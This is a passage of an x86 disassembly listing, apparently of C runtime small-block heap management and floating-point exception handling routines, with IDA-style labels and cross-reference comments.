cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B7D0: ; CODE XREF: sub_41B592+214j ; sub_41B592+21Bj ... mov ebx, [ebp+arg_4] loc_41B7D3: ; CODE XREF: sub_41B592+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B7FA push 3Fh pop esi loc_41B7FA: ; CODE XREF: sub_41B592+1DDj ; sub_41B592+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B877 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41B84E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B841 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41B841: ; CODE XREF: sub_41B592+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B84E: ; CODE XREF: sub_41B592+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B864 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B864: ; CODE XREF: sub_41B592+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B873: ; CODE XREF: sub_41B592+2BAj shr edx, cl or [eax], edx loc_41B877: ; CODE XREF: sub_41B592+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B880: ; CODE XREF: sub_41B592+1A2j ; sub_41B592:loc_41B740j push 1 pop eax loc_41B883: ; CODE XREF: sub_41B592+1A9j pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B888 proc near ; CODE XREF: sub_41ACE4+41p ; sub_41BB80:loc_41BD4Fp cmp dword_4397D0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B89C mov esi, offset off_4397C0 jmp short loc_41B8B9 ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B888+Bj push 2020h push 0 push dword_48B684 nop call near ptr 26F0000h mov esi, eax test esi, esi jz loc_41B9C5 loc_41B8B9: ; CODE XREF: sub_41B888+12j mov ebp, dword_4241B4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41B9AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41B9A0 mov eax, offset off_4397C0 cmp esi, eax jnz short loc_41B918 cmp off_4397C0, 0 jnz short loc_41B908 mov off_4397C0, eax loc_41B908: ; CODE XREF: sub_41B888+79j cmp off_4397C4, 0 jnz short loc_41B92D mov off_4397C4, eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B918: ; CODE XREF: sub_41B888+70j mov [esi], eax mov eax, off_4397C4 mov [esi+4], eax mov off_4397C4, esi mov eax, [esi+4] mov [eax], esi loc_41B92D: ; CODE XREF: sub_41B888+87j ; sub_41B888+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B94F: ; CODE XREF: sub_41B888+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41B94F push ebx push 0 push edi call sub_417330 add esp, 0Ch loc_41B978: ; CODE XREF: sub_41B888+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B99C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B978 ; --------------------------------------------------------------------------- loc_41B99C: ; CODE XREF: sub_41B888+F7j mov eax, esi jmp short loc_41B9C7 ; --------------------------------------------------------------------------- loc_41B9A0: ; CODE XREF: sub_41B888+63j push 8000h push 0 push edi nop call near ptr 28305BBh loc_41B9AE: ; CODE XREF: sub_41B888+4Bj cmp esi, offset off_4397C0 jz short loc_41B9C5 push esi push 0 push dword_48B684 nop call near ptr 26E0273h loc_41B9C5: ; CODE XREF: sub_41B888+2Bj ; sub_41B888+12Cj xor eax, eax loc_41B9C7: ; CODE XREF: sub_41B888+116j pop edi pop esi pop ebp pop ebx retn sub_41B888 endp ; =============== S U B R O U T I N E ======================================= sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28305BBh cmp off_43B7E0, esi jnz short loc_41B9F1 mov eax, [esi+4] mov off_43B7E0, eax loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj cmp esi, offset off_4397C0 jz short loc_41BA19 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_48B684 nop call near ptr 26E0273h pop esi retn ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj or dword_4397D0, 0FFFFFFFFh pop esi retn sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_4397C4 push edi loc_41BA2F: ; CODE XREF: sub_41BA22+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41BACD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41BA48: ; CODE XREF: sub_41BA22+72j cmp dword ptr [edi], 0F0h jnz short loc_41BA89 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28305BBh test eax, eax jz short loc_41BA89 or dword ptr [edi], 0FFFFFFFFh dec dword_48A07C mov eax, [esi+0Ch] test eax, eax jz short loc_41BA7E cmp eax, edi jbe short loc_41BA81 loc_41BA7E: ; CODE XREF: sub_41BA22+56j mov [esi+0Ch], edi loc_41BA81: ; CODE XREF: sub_41BA22+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41BA96 loc_41BA89: ; CODE XREF: sub_41BA22+2Cj ; sub_41BA22+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41BA48 loc_41BA96: ; CODE XREF: sub_41BA22+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41BACD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41BACD push 1 lea eax, [ecx+20h] pop edx loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41BABE inc edx add eax, 8 cmp edx, 400h jl short loc_41BAAD loc_41BABE: ; CODE XREF: sub_41BA22+8Ej cmp edx, 400h jnz short loc_41BACD push ecx call sub_41B9CC pop ecx loc_41BACD: ; CODE XREF: sub_41BA22+11j ; sub_41BA22+7Dj ... cmp esi, off_4397C4 jz short loc_41BADF cmp [ebp+arg_0], 0 jg loc_41BA2F loc_41BADF: ; CODE XREF: sub_41BA22+B1j pop edi pop esi pop ebx leave retn sub_41BA22 endp ; =============== S U B R O U T I N E ======================================= sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap ; sub_41944F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_4397C0 push esi mov ecx, edx loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj cmp eax, [ecx+10h] jbe short loc_41BAFA cmp eax, [ecx+14h] jb short loc_41BB02 loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41BB37 jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BB02: ; CODE XREF: sub_41BAE4+14j test al, 0Fh jnz short loc_41BB37 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41BB37 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj ; sub_41BAE4+20j ... xor eax, eax pop esi retn sub_41BAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp ; sub_41944F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41BB7F inc dword_48A07C cmp dword_48A07C, 20h jnz short locret_41BB7F push 10h call sub_41BA22 pop ecx locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj ; sub_41BB3B+3Aj retn sub_41BB3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap ; sub_41944F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43B7E0 push edi loc_41BB8E: ; CODE XREF: sub_41BB80+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41BC39 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41BBF3 loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41BBDC cmp [edi+4], ebx jbe short loc_41BBDC push ebx push ecx push eax call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41BBDC: ; CODE XREF: sub_41BB80+40j ; sub_41BB80+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41BBB9 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41BB80+37j mov ebx, [ebp+arg_0] loc_41BBF6: ; CODE XREF: sub_41BB80+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41BC3C loc_41BC09: ; CODE XREF: sub_41BB80+B5j mov eax, [edi] cmp eax, ebx jl short loc_41BC28 cmp [edi+4], ebx jbe short loc_41BC28 push ebx push eax push [ebp+var_4] call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov [edi+4], ebx loc_41BC28: ; CODE XREF: sub_41BB80+8Dj ; sub_41BB80+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41BC09 jmp short loc_41BC3C ; --------------------------------------------------------------------------- loc_41BC39: ; CODE XREF: sub_41BB80+14j mov ebx, [ebp+arg_0] loc_41BC3C: ; CODE XREF: sub_41BB80+87j ; sub_41BB80+B7j mov esi, [esi] cmp esi, off_43B7E0 jz short loc_41BC5B jmp loc_41BB8E ; --------------------------------------------------------------------------- loc_41BC4B: ; CODE XREF: sub_41BB80+54j ; sub_41BB80+A3j mov off_43B7E0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BD83 ; --------------------------------------------------------------------------- loc_41BC5B: ; CODE XREF: sub_41BB80+C4j mov eax, offset off_4397C0 mov edi, eax loc_41BC62: ; CODE XREF: sub_41BB80+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41BC6E cmp dword ptr [edi+0Ch], 0 jnz short loc_41BC7A loc_41BC6E: ; CODE XREF: sub_41BB80+E6j mov edi, [edi] cmp edi, eax jz loc_41BD4F jmp short loc_41BC62 ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BB80+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41BCA9 loc_41BC98: ; CODE XREF: sub_41BB80+127j cmp [ebp+var_4], 10h jge short loc_41BCA9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41BC98 loc_41BCA9: ; CODE XREF: sub_41BB80+116j ; sub_41BB80+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28306BCh cmp eax, esi jnz loc_41BD81 push 0 push [ebp+var_8] push esi call sub_417330 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BD10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41BCE6 loc_41BD10: ; CODE XREF: sub_41BB80+15Ej mov off_43B7E0, edi lea eax, [edi+2018h] loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j cmp ecx, eax jnb short loc_41BD2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BD2A add ecx, 8 jmp short loc_41BD1C ; --------------------------------------------------------------------------- loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j cmp ecx, eax loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD4F: ; CODE XREF: sub_41BB80+F2j call sub_41B888 test eax, eax jz short loc_41BD81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43B7E0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD81: ; CODE XREF: sub_41BB80+143j ; sub_41BB80+1D6j xor eax, eax loc_41BD83: ; CODE XREF: sub_41BB80+D6j ; sub_41BB80+1CDj ... pop edi pop esi pop ebx leave retn sub_41BB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap ; sub_41BB80+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BDCD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BDBC add [ecx], edx sub [ecx+4], edx jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BDC5: ; CODE XREF: sub_41BD88+32j lea eax, [edi+8] jmp loc_41BE9B ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BDD6 mov eax, esi loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BE20 loc_41BDDD: ; CODE XREF: sub_41BD88+96j mov bl, [eax] test bl, bl jnz short loc_41BE13 push 1 lea ebx, [eax+1] pop esi loc_41BDE9: ; CODE XREF: sub_41BD88+68j cmp byte ptr [ebx], 0 jnz short loc_41BDF2 inc ebx inc esi jmp short loc_41BDE9 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BD88+64j cmp esi, edx jnb short loc_41BE44 cmp eax, [ebp+var_4] jnz short loc_41BE00 mov [ecx+4], esi jmp short loc_41BE0C ; --------------------------------------------------------------------------- loc_41BE00: ; CODE XREF: sub_41BD88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BEA5 loc_41BE0C: ; CODE XREF: sub_41BD88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BE18 ; --------------------------------------------------------------------------- loc_41BE13: ; CODE XREF: sub_41BD88+59j movzx esi, bl add eax, esi loc_41BE18: ; CODE XREF: sub_41BD88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BDDD loc_41BE20: ; CODE XREF: sub_41BD88+53j lea esi, [ecx+8] loc_41BE23: ; CODE XREF: sub_41BD88+EBj ; sub_41BD88+F2j cmp esi, edi jnb short loc_41BEA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BEA5 mov al, [esi] test al, al jnz short loc_41BE75 push 1 lea ebx, [esi+1] pop eax loc_41BE3B: ; CODE XREF: sub_41BD88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BE65 inc ebx inc eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE44: ; CODE XREF: sub_41BD88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BE5E ; --------------------------------------------------------------------------- loc_41BE55: ; CODE XREF: sub_41BD88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BE5E: ; CODE XREF: sub_41BD88+CBj mov [eax], dl add eax, 8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD88+B6j cmp eax, edx jnb short loc_41BE7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BEA5 mov esi, ebx jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE75: ; CODE XREF: sub_41BD88+ABj movzx eax, al add esi, eax jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BE96 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BD88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BE96: ; CODE XREF: sub_41BD88+103j mov [esi], dl lea eax, [esi+8] loc_41BE9B: ; CODE XREF: sub_41BD88+40j ; sub_41BD88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej ; sub_41BD88+9Dj ... xor eax, eax loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj pop edi pop esi pop ebx leave retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BEE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BEAC+26j jnb short loc_41BF4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BF4D lea eax, [ecx+edx] loc_41BEFB: ; CODE XREF: sub_41BEAC+59j cmp eax, esi jnb short loc_41BF09 cmp byte ptr [eax], 0 jnz short loc_41BF07 inc eax jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BF07: ; CODE XREF: sub_41BEAC+56j cmp eax, esi loc_41BF09: ; CODE XREF: sub_41BEAC+51j jnz short loc_41BF4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BF41 cmp esi, eax jbe short loc_41BF41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BF38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BF33 loc_41BF2C: ; CODE XREF: sub_41BEAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BF2C loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej mov [ebx+4], eax jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF38: ; CODE XREF: sub_41BEAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BF41: ; CODE XREF: sub_41BEAC+68j ; sub_41BEAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BF46: ; CODE XREF: sub_41BEAC+38j mov [ebp+var_4], 1 loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j ; sub_41BEAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BF55(int,int,double,int) sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p ; sub_417DEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43BF38, 0 jnz short loc_41BF8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C50A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BF8A: ; CODE XREF: sub_41BF55+Aj push 0FFFFh mov dword_48A014, 21h push [ebp+arg_C] call sub_41C77D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BFA8(int,int,double,double,int) sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p ; sub_417DEB:loc_417EAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41C2F3 add esp, 0Ch test eax, eax jnz short loc_41BFE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41C040 add esp, 18h loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj push [ebp+arg_0] call sub_41C5DD cmp dword_43BF38, 0 pop ecx jnz short loc_41C024 test eax, eax jz short loc_41C024 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C50A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFA8+4Ej ; sub_41BFA8+52j push eax call sub_41C592 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C77D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41C072 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41C072: ; CODE XREF: sub_41C040+23j test cl, 2 jz short loc_41C085 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41C085: ; CODE XREF: sub_41C040+35j test cl, bl jz short loc_41C097 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41C097: ; CODE XREF: sub_41C040+47j test cl, 4 jz short loc_41C0AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41C0AA: ; CODE XREF: sub_41C040+5Aj test cl, 8 jz short loc_41C0BD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41C0BD: ; CODE XREF: sub_41C040+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C760 test al, bl jz short loc_41C146 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41C146: ; CODE XREF: sub_41C040+FDj test al, 4 jz short loc_41C151 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41C151: ; CODE XREF: sub_41C040+108j test al, 8 jz short loc_41C15C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41C15C: ; CODE XREF: sub_41C040+113j test al, 10h jz short loc_41C166 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41C166: ; CODE XREF: sub_41C040+11Ej test al, 20h jz short loc_41C170 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41C170: ; CODE XREF: sub_41C040+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41C1AF cmp eax, 400h jz short loc_41C1A1 cmp eax, 800h jz short loc_41C195 cmp eax, ecx jnz short loc_41C1B5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C195: ; CODE XREF: sub_41C040+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41C1AB ; --------------------------------------------------------------------------- loc_41C1A1: ; CODE XREF: sub_41C040+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41C1AB: ; CODE XREF: sub_41C040+15Fj mov [eax], ecx jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C1AF: ; CODE XREF: sub_41C040+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41C1B5: ; CODE XREF: sub_41C040+14Bj ; sub_41C040+153j ... 